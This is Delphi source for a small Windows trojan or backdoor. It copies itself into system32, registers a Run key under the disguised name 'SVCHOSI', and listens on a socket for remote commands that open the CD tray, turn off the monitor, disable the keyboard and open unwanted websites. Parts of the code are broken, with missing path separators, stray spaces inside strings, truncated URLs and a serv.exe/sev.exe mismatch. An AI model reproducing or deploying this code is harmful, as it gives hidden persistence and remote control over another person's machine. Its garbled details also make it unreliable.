unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, shellapi, mmsystem, registry, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then
begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
end;
if (s='close') then
begin
mciSendString('Set cdaudio door closed wait',nil,0,handle);
end;
if (s='offlcd') then
begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,1);
end;
if (s='sound') then
begin
beep;
end;
if (s='sound2') then
begin
PlaySound('SystemStart', 0, SND_SYNC);
end;
if (s='zaw_klaw') then
begin
ShellExecute(Handle,'open','rundll32','keyboard,di sable',nil,SW_SHOWNORMAL);
end;
if (s='porn') then
begin
ShellExecute(Handle,'open','http://www.',nil,nil,SW_SHOWNORMAL);
sleep(200);
ShellExecute(Handle,'open','http://www.',nil,nil,SW_SHOWNORMAL);
sleep(200);
ShellExecute(Handle,'open','http://www.',nil,nil,SW_SHOWNORMAL);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg:tregistry;
Sciezka : array [0..MAX_PATH] of Char;
begin
GetWindowsDirectory(Sciezka,sizeof(Sciezka));
Reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersio nRun',True);
reg.WriteString('SVCHOSI',Sciezka +'system32' +'serv.exe');
reg.Free;
copyfile(pchar(paramstr(0)),pchar(Sciezka +'system32' +'sev.exe'),true);
BorderIcons:= [biSystemMenu];
end;
end.